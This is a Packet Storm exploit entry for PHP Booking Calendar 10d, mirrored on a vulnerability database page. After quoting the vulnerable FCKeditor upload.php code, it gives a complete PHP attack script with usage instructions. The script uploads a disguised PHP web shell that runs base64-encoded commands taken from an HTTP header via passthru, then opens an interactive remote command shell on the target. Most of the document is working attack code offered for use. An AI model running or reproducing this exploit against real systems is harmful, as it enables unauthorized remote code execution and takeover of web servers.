Search...

phpbook-upload.txt

2008-05-30T00:00:00
ID PACKETSTORM:66829
Type packetstorm
Reporter Stack
Modified 2008-05-30T00:00:00

Description

                                        
                                            `<?php  
/*  
--------------------------------------------------------------  
PHP Booking Calendar 10 d (fckeditor) Arbitrary File Upload Exploit  
--------------------------------------------------------------  
  
Special thnx for : Egix  
[-] vulnerable code in /[path]/fckeditor/editor/filemanager/upload/php/upload.php  
  
41. // Get the posted file.  
42. $oFile = $_FILES['NewFile'] ;  
43.  
44. // Get the uploaded file name and extension.  
45. $sFileName = $oFile['name'] ;  
46. $sOriginalFileName = $sFileName ;  
47. $sExtension = substr( $sFileName, ( strrpos($sFileName, '.') + 1 ) ) ;  
48. $sExtension = strtolower( $sExtension ) ;  
49.  
50. // The the file type (from the QueryString, by default 'File').  
51. $sType = isset( $_GET['Type'] ) ? $_GET['Type'] : 'File' ;  
52.  
53. // Check if it is an allowed type.  
54. if ( !in_array( $sType, array('File','Image','Flash','Media') ) )  
55. SendResults( 1, '', '', 'Invalid type specified' ) ;  
56.  
57. // Get the allowed and denied extensions arrays.  
58. $arAllowed = $Config['AllowedExtensions'][$sType] ;  
59. $arDenied = $Config['DeniedExtensions'][$sType] ;  
60.  
61. // Check if it is an allowed extension.  
62. if ( ( count($arAllowed) > 0 && !in_array( $sExtension, $arAllowed ) ) || ( count($arDenied) > 0 && in_array( $sExtension, $arDenied ) ) )  
63. SendResults( '202' ) ;  
64.  
65. $sErrorNumber = '0' ;  
66. $sFileUrl = '' ;  
67.  
68. // Initializes the counter used to rename the file, if another one with the same name already exists.  
69. $iCounter = 0 ;  
70.  
71. // The the target directory.  
72. if ( isset( $Config['UserFilesAbsolutePath'] ) )  
73. $sServerDir = $Config['UserFilesAbsolutePath'] ;  
74. else  
75. //$sServerDir = GetRootPath() . $Config["UserFilesPath"] ;  
76. $sServerDir = $Config["UserFilesPath"] ;  
77.  
78. while ( true )  
79. {  
80. // Compose the file path.  
81. $sFilePath = $sServerDir . $sFileName ;  
82.  
83. // If a file with that name already exists.  
84. if ( is_file( $sFilePath ) )  
85. {  
86. $iCounter++ ;  
87. $sFileName = RemoveExtension( $sOriginalFileName ) . '(' . $iCounter . ').' . $sExtension ;  
88. $sErrorNumber = '201' ;  
89. }  
90. else  
91. {  
92. move_uploaded_file( $oFile['tmp_name'], $sFilePath ) ;  
93.  
94. if ( is_file( $sFilePath ) )  
95. {  
96. $oldumask = umask(0) ;  
97. chmod( $sFilePath, 0777 ) ;  
98. umask( $oldumask ) ;  
99. }  
100.   
101. $sFileUrl = $Config["UserFilesPath"] . $sFileName ;  
102.  
103. break ;  
  
with a default configuration of this script, an attacker might be able to upload arbitrary files containing malicious PHP code  
*/  
error_reporting(0);  
set_time_limit(0);  
ini_set("default_socket_timeout", 5);  
function http_send($host, $packet)  
{  
$sock = fsockopen($host, 80);  
while (!$sock)  
{  
print "\n[-] No response from {$host}:80 Trying again...";  
$sock = fsockopen($host, 80);  
}  
fputs($sock, $packet);  
while (!feof($sock)) $resp .= fread($sock, 1024);  
fclose($sock);  
return $resp;  
}  
print "\n+------------------------------------------------------------+";  
print "\n|PHP Booking Calendar 10d Arbitrary File Upload Exploit by Stack |";  
print "\n+------------------------------------------------------------+\n";  
if ($argc < 2)  
{  
print "\nUsage......: php $argv[0] host path";  
print "\nExample....: php $argv[0] localhost /booking_calendar/\n";  
die();  
}  
$host = $argv[1];  
$path = $argv[2];  
$data = "--12345\r\n";  
$data .= "Content-Disposition: form-data; name=\"NewFile\"; filename=\"s.php.he.ll\"\r\n";  
$data .= "Content-Type: application/octet-stream\r\n\r\n";  
$data .= "<?php \${print(_code_)}.\${passthru(base64_decode(\$_SERVER[HTTP_CMD]))}.\${print(_code_)} ?>\n";  
$data .= "--12345--\r\n";  
$packet = "POST {$path}/fckeditor/editor/filemanager/upload/php/upload.php HTTP/1.0\r\n";  
$packet .= "Host: {$host}\r\n";  
$packet .= "Content-Length: ".strlen($data)."\r\n";  
$packet .= "Content-Type: multipart/form-data; boundary=12345\r\n";  
$packet .= "Connection: close\r\n\r\n";  
$packet .= $data;  
preg_match("/OnUploadCompleted\((.*),\"(.*)\",\"(.*)\",/i", http_send($host, $packet), $html);  
if (!in_array(intval($html[1]), array(0, 201))) die("\n[-] Upload failed! (Error {$html[1]})\n");  
else print "\n[-] Shell uploaded to {$html[2]}...starting it!\n";  
define(STDIN, fopen("php://stdin", "r"));  
while(1)  
{  
print "\nstack-shell# ";  
$cmd = trim(fgets(STDIN));  
if ($cmd != "exit")  
{  
$packet = "GET {$path}datacenter/media/{$html[3]} HTTP/1.0\r\n";  
$packet.= "Host: {$host}\r\n";  
$packet.= "Cmd: ".base64_encode($cmd)."\r\n";  
$packet.= "Connection: close\r\n\r\n";  
$output = http_send($host, $packet);  
if (eregi("print", $output) || !eregi("_code_", $output)) die("\n[-] Exploit failed...\n");  
$shell = explode("_code_", $output);  
print "\n{$shell[1]}";  
}  
else break;  
}  
?>  
  
`
JSON Vulners Source
Initial Source


All product names, logos, and brands are property of their respective owners. All company, product and service names used in this website are for identification purposes only. Use of these names, logos, and brands does not imply endorsement.If you are an owner of some content and want it to be removed, please mail to content@vulners.com Vulners, 2017
Protected by